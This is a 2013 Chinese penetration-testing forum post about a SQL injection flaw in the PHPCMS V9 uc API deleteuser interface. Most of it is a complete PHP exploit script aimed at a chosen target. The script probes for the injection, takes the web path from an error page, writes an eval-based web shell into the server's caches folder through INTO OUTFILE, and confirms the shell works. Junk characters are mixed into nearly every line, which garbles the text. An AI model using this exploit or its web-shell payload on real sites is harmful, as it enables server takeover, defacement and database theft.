中国网络渗透测试联盟

标题: PHPCMS V9 uc API SQL注入漏洞 [打印本页]

作者: admin    时间: 2013-2-9 01:22
标题: PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
5 i; q3 l  g# X+ z- l' t; k4 x% N2 w* ?- w5 W8 ?
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。7 r: a' g# K  N) f' |8 g2 V

9 g; I/ e- _. {# B漏洞分析:; Y0 h4 w, t: R. K8 ~! f) V
1.未启用ucenter服务的情况下uc_key为空8 p: Z* `: N, Y3 ~( C( X
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
) G: Y# r9 S1 u2 i+ d2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
' A( K8 G- p- i& D8 B3 V    public function deleteuser($get,$post) {6 n5 g6 u( {' x' ^
        pc_base::load_app_func('global', 'admin');
% |# Z( e: m) c* {8 Q6 u& r        pc_base::load_app_class('messagequeue', 'admin' , 0);/ x) t' O. I5 e8 u2 D3 o
        $ids = new_stripslashes($get['ids']);1 s+ E  t4 Q3 F- F( I
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");4 o0 i# k( c" b5 \- w" o
SQL语句为$ n5 M+ V" I- A+ u# |+ a; \
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)) U0 h9 l% r/ A5 t1 M2 E6 ^
/ z, t2 p" f  O8 |3 C
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
, V7 E5 [+ z8 M& Q<?php, b$ Z8 s/ h% n% ]$ B
print_r('
" E; n3 ^  b7 H- ^% p---------------------------------------------------------------------------
- z; Q2 v; W9 O" t% cPHPcms (v9 or Old Version) uc api sql injection 0day
! |( |( W1 a8 U4 H6 S8 A* Iby rayh4c#80sec.com
, z9 j0 K* S8 W/ G---------------------------------------------------------------------------& m2 D3 g6 z" M: p7 _
');0 @$ c: F9 n- H, T1 Y/ i

  k' M+ L4 }! t/ R/ vif ($argc<3) {5 G# R5 ^) N1 Z# A4 d" c
    print_r('
2 @# d: Q' ~; h/ t: f. \; N---------------------------------------------------------------------------
% t& X$ }8 k: g; u4 i: C; W' a' o, OUsage: php '.$argv[0].' host path OPTIONS! L1 R/ l# F% E' A- |
host:      target server (ip/hostname)
3 ]. _1 F, i, W9 ^- E% jpath:      path to phpcms
1 _  V2 u3 a/ D# ^) A6 F( R5 _Options:
! u* b7 r+ ]$ e% `- e -p[port]:    specify a port other than 805 B3 _* C" Y! ^
-P[ip:port]: specify a proxy; N2 t; x$ L; `
Example:
2 L6 f2 B, t+ I3 n9 \( Lphp '.$argv[0].' localhost /
- q7 n5 F/ W; {0 P$ c6 ophp '.$argv[0].' localhost /phpcms/ -p814 b  H! Y- }; S+ m$ Y
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:806 s: B9 s* K5 A% s4 k
---------------------------------------------------------------------------
6 r% S8 s4 F3 m');
& |) A6 M! h8 R1 |/ u  i    die;
, {" E' j& Y5 z" k- L7 M  K}
% `2 E  c* B; C( g% \4 m, C! L4 N' u, j  c
error_reporting(7);9 d9 @  Z- G+ |2 }0 @- R0 _0 v; g
ini_set("max_execution_time",0);
$ u. f  C+ p7 M* Oini_set("default_socket_timeout",5);& ?) z% Z! G+ ^/ J. a
$ s/ K( B. [5 i7 [- }6 Z
function quick_dump($string)9 N% t7 o. C( [
{2 U. q0 b4 i- `( N) o
  $result='';$exa='';$cont=0;
. Y0 s$ S4 c" Y6 T$ e* J: W+ R  for ($i=0; $i<=strlen($string)-1; $i++)
1 @+ \; l! `9 s1 C6 [  {$ F: P- B& i2 M1 e7 W
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
4 [" N! r! F* W, G. ]! C5 Z+ N8 E   {$result.="  .";}, o% M) S; ^& ~% }5 h1 V  l8 x
   else
+ _4 |% ?4 p: k5 G' E# W9 q   {$result.="  ".$string[$i];}0 G3 W  [& J( A0 N
   if (strlen(dechex(ord($string[$i])))==2): u) {1 |- q* s/ k+ `) g! u
   {$exa.=" ".dechex(ord($string[$i]));}
$ D3 t3 a  E: ~  m9 a   else
" }9 t/ u1 \* W& |2 x& l   {$exa.=" 0".dechex(ord($string[$i]));}
. \" [0 r+ b/ x- c9 N+ r8 |+ B; j3 [   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
7 f) \1 ]! o6 @  Q* H- D  z  }
" X/ m' @2 M4 c0 a$ K! w return $exa."\r\n".$result;- X" i! B' s4 ^) \( A/ O/ c
}3 K6 I: j) Q$ g2 B, h' B6 r5 ?0 q4 A
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
# s  S% a. J4 y$ i7 G% `8 W* T% z' O9 T3 z3 r8 _) w2 r
function send($packet)
0 Q$ m! o# t; t2 v{
' [3 y" V6 G5 Q% J9 K+ ^' g) p  global $proxy, $host, $port, $html, $proxy_regex;3 R+ f6 G4 M: \* a( T5 k
  if ($proxy=='') {
! J( P/ t8 [7 y$ B4 f; M  ]    $ock=fsockopen(gethostbyname($host),$port);
. E' N5 x1 N/ `. G" R# O    if (!$ock) {- l. C8 u8 ]$ L% _# `, f4 f
      echo 'No response from '.$host.':'.$port; die;. b$ w! n: z& s- F
    }
  E  X% m( V" V! a8 W  }
! f* E) y/ c, b8 j3 f, {  else {) h) f- q6 n8 X$ ~
        $c = preg_match($proxy_regex,$proxy);
' d2 o( R, A2 ?. v4 a* Q3 W* |    if (!$c) {" v1 N" Z  B. J) t! Y- P  w: \3 K
      echo 'Not a valid proxy...';die;( e; z' ?; k" x- J
    }
* R4 J  J1 `4 h% f    $parts=explode(':',$proxy);
& ^7 O8 _2 |8 Y% N6 C' B$ \    $parts[1]=(int)$parts[1];: J0 X; Y0 b( I- E8 ]
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
: O" H" j3 l4 P( [5 H: f    $ock=fsockopen($parts[0],$parts[1]);# V6 f' ^' e8 @. l' B% n# p
    if (!$ock) {4 C) |0 v& a) T3 \! i
      echo 'No response from proxy...';die;
6 P$ n. q2 O3 h" F; L        }
2 M1 p+ o( Q6 h  }
7 Z  t9 V% V; r6 i, j4 h  fputs($ock,$packet);0 f& V# ?0 ]+ ]; h
  if ($proxy=='') {  h/ T# g" V8 K% g' B, [9 s- z9 X2 i6 }4 }
    $html='';
0 M! [, p. e' e% k3 I4 e    while (!feof($ock)) {
& C, h5 J! ~' Q) N      $html.=fgets($ock);
: _* D2 o: ^) x( Q8 R    }. |1 b  S) Y# t& X& P/ f
  }
% o/ i9 N5 b/ [' X  else {
$ z0 a5 y( h1 F) Q! @    $html='';
) T  t* E9 y( h' x    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  J6 d& T- I: ^2 ^) F$ e
      $html.=fread($ock,1);
% H+ ]" h9 ?5 b! N    }" d' T1 u, i" k2 k5 g+ f) K7 w4 {
  }) A; {: \: y- M- ?, {
  fclose($ock);! M4 }( R/ X8 i  c6 Q# o; P
}2 {" P  l! W( \+ p( n3 M: E/ _
" Q' s, F3 j9 c$ Z2 q& k1 ~, D
$host=$argv[1];8 a) ?  M" y0 v2 Q: q( o
$path=$argv[2];
5 L7 O& y# f4 I- |' o1 V: X$port=80;2 T1 t( [, ~, c) [( R6 p
$proxy="";
5 @/ h4 @$ E9 W+ L' \/ w- sfor ($i=3; $i<$argc; $i++){1 \/ _5 X! h1 V% ?  A
$temp=$argv[$i][0].$argv[$i][1];
" f" G4 x. J$ N! H, Wif ($temp=="-p")7 T) t7 j6 h8 J
{
% o9 }: @: f; e* X6 y  $port=(int)str_replace("-p","",$argv[$i]);/ g* `& ?( R' j! i
}( X+ Z( y! S( y! A
if ($temp=="-P")
) P$ u& m0 V' N3 F+ D{
- T6 X5 X. x/ z% b$ F+ v  $proxy=str_replace("-P","",$argv[$i]);
( @2 s8 N% A& _- P3 g) k! v}, h0 R( h! z! |
}
; m7 k; Q# K& ^# [5 Q' J( A
8 f4 Y) D: A% C  T, z5 Tif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}; t' `$ }1 G. e0 e
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
6 X9 z% {, I0 G# {9 \8 v* Y7 U. i9 o
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {7 d8 F0 ]: m) `1 c9 h3 ^' e
3 D' {, n& E7 V' A
    $ckey_length = 4;
5 ]4 Q9 j! |7 F/ ]8 u$ p- X2 ~8 o9 F6 `- t
    $key = md5($key ? $key : '');
- ?2 \& U7 \  O0 n* W    $keya = md5(substr($key, 0, 16));5 K& S, x2 n; s6 I1 \2 H: h
    $keyb = md5(substr($key, 16, 16));" [5 N2 P# ]) n' H4 J2 l8 U* |- L
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';* R, k0 l: b% X0 k. c! j

: V- c8 o! p* j( E! R0 A. K    $cryptkey = $keya.md5($keya.$keyc);
8 E$ ~4 J- H6 T$ O' G    $key_length = strlen($cryptkey);2 ^. ]& U  z$ Y, [$ _2 A( {3 i6 ]9 E
  Z3 Y8 Y" G! T! B! o- ]
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;! |( `& Z4 p. E$ p  c# Z
    $string_length = strlen($string);, u+ P7 \: `; }" G' \6 t
0 L0 E) I$ X" a+ z  m2 G" c  w
    $result = '';
/ e2 L& f0 W/ R' K/ v- t    $box = range(0, 255);0 e. p5 s2 i7 g# g# W3 u

) K0 D  l/ f$ ^2 s    $rndkey = array();' `4 R. V- U8 c. z' w5 n6 Q0 N
    for($i = 0; $i <= 255; $i++) {
& {% Q1 M* U8 Z; ^: z+ E3 B' R        $rndkey[$i] = ord($cryptkey[$i % $key_length]);' Y/ S- j) e6 z0 q" Y; Q
    }
( ~* i( y. v/ f  w+ d+ {! R1 a: H8 H* B- a$ \8 h# U# C" n
    for($j = $i = 0; $i < 256; $i++) {: Y  v9 @6 D* F# `: w. V5 T# y
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;( a% @& U0 a' ^) ^, j  t+ D
        $tmp = $box[$i];6 u! b% p1 C- {8 D5 h+ t5 b
        $box[$i] = $box[$j];
" c$ a/ |! f' s2 Y8 f5 E        $box[$j] = $tmp;% w/ W0 N: q( I; J- Y3 X
    }
, v& m2 V5 J  \* X
, E1 T8 |3 G# L# g) I! P5 [    for($a = $j = $i = 0; $i < $string_length; $i++) {
' g/ [! E; g" ~6 a( t( C- Q        $a = ($a + 1) % 256;" V9 E; i0 }: X/ y( \
        $j = ($j + $box[$a]) % 256;, ?5 b  c7 o5 G
        $tmp = $box[$a];- y$ ~0 x2 j6 z6 }. e
        $box[$a] = $box[$j];( c% |0 a: z3 w
        $box[$j] = $tmp;
0 U& q) F/ |5 U( Y        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
% |7 i9 q% u/ U& }    }: d% N0 V9 Z" l. O
# A1 b2 C2 R/ R# c8 R/ t4 E
    if($operation == 'DECODE') {" L8 t* y1 }  d9 G% ~
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {' q% J3 j( a5 m
            return substr($result, 26);
" l1 F( W( i! M. L        } else {
. q; W$ e. c! |* N            return '';# G1 p3 @) P* F; y5 r& G' Y
        }3 u$ g+ j0 j% E/ }$ f. Y
    } else {  c* y' E' U2 C: s! B
        return $keyc.str_replace('=', '', base64_encode($result));
& O/ ?3 |  {! K% g7 ~9 ~    }1 B1 i6 L. _9 e- C& y& I

) z9 H" F/ C& |0 U# _) e6 Y) D}
2 E0 C% m1 |1 \. X
4 y. y; T$ b9 }6 ~: l8 o0 n* I$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
: g. F1 x4 V1 ]8 ?" B$SQL = urlencode(authcode($SQL, "ENCODE", ""));1 ~3 l# F5 W7 ~# A- `) v$ Q. V
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";, i& b7 k& \+ r9 q% H2 T
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
; f1 J( M. G! `* r. F7 W$packet.="User-Agent: Mozilla/5.0\r\n";
4 S' d+ B2 z% E4 t% D$ K: H$packet.="Host: ".$host."\r\n";
5 W  Y* f1 q) [+ e/ e$packet.="Connection: Close\r\n\r\n";
6 z( j  R6 w7 @# f0 B1 g, [- F- Asend($packet);
+ {: g, q1 M6 w5 N7 Lif(strpos($html,"MySQL Errno") > 0){2 W% ]2 S8 V& ^1 S- T
echo "[2] 发现存在SQL注入漏洞"."\n";4 T( z  J* m5 K% [9 Y
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";0 l6 q* ?* l( @) M$ V& m
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
! D) s, `. M& G& k- m) j9 E+ ?$packet.="User-Agent: Mozilla/5.0\r\n";
# [" w5 i4 x. U8 u% f$ f$packet.="Host: ".$host."\r\n";
6 e; s5 f3 g4 k3 D- h* \$packet.="Connection: Close\r\n\r\n";4 c( I( P+ x) p$ k' X
send($packet);
. J7 u) j% M- I& N7 P3 I. Kpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);, _9 s- t8 v$ C2 m, l
//print_r($matches);& Y7 ], J9 p- f. r2 c8 |! Z
if(!empty($matches)){
6 j7 v4 d: J6 J  x+ Techo "[4] 得到web路径 " . $matches[0]."\n";
' T( i! B& c4 t: E9 eecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";( u' F8 N* r1 ~# |7 U
$SQL = "time=999999999999999999999999&ids=1)";: p/ I* ?4 q; G2 B/ [7 ?$ s" L, X( F
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";: G- o7 r, y' \
$SQL.="&action=deleteuser";
) l; C/ x' F( d( K$ B& ]4 e$SQL = urlencode(authcode($SQL, "ENCODE", ""));
8 x% o8 V& X/ n5 q, d* q5 Yecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
8 `/ v8 y1 i6 S# s$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";1 y* X5 k; x9 R% L  Q3 X1 g/ ~
$packet.="User-Agent: Mozilla/5.0\r\n";+ D; r3 ^/ C& Y( K
$packet.="Host: ".$host."\r\n";
, d/ r0 a( y$ L: D* f* ^$ S6 y5 H$packet.="Connection: Close\r\n\r\n";
7 ~2 W; ~8 f0 ysend($packet);0 `1 Y% k/ V' q( j' {# Q
if(strpos($html,"Access denied") > 0){
( x5 I9 \3 `, o8 F5 oecho "[-] MYSQL权限过低 禁止写入文件 ";
6 X3 `2 L0 f3 z8 C, S7 ~. M5 zdie;
/ K+ f, y' o0 i. k7 A% q}
5 l# j0 ^6 e& P7 K3 Mecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
9 ?+ S6 A% ?# ]2 L0 U" j1 ~$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
- K& s% G9 J0 H# ~+ [6 l- b$packet.="User-Agent: Mozilla/5.0\r\n";% z0 ]! M/ a7 {/ O
$packet.="Host: ".$host."\r\n";/ m4 |8 J) `) _) Q0 O* c
$packet.="Connection: Close\r\n\r\n";
& c) q2 V2 o( K) }7 A/ ]# Usend($packet);
7 N( t1 g- R6 I6 ?9 Eif(strpos($html,"<title>phpinfo()</title>") > 0){: H- A9 S0 {0 c+ n, ~% b" B6 w
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
6 Y  a) H7 l" A' K) |( e# z1 p}
4 R  c. |. g+ \- z& p7 d: }  s}else{
) n) c+ F/ m6 C1 C5 aecho "[-]未取到web路径 ";: @6 V0 b/ }2 h. \
}
' R; Q" s6 @2 U% ^& P. S}else{
7 @  g+ u4 C  n# g* Y- v; techo "[*]不存在SQL注入漏洞"."\n";
, T2 o( V7 H$ Y}
5 `+ P4 b0 o; ]5 d
0 Q& K2 I# d8 w# x( L/ h?>( }' D9 e# p& u6 O  G' u7 h( C7 H





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2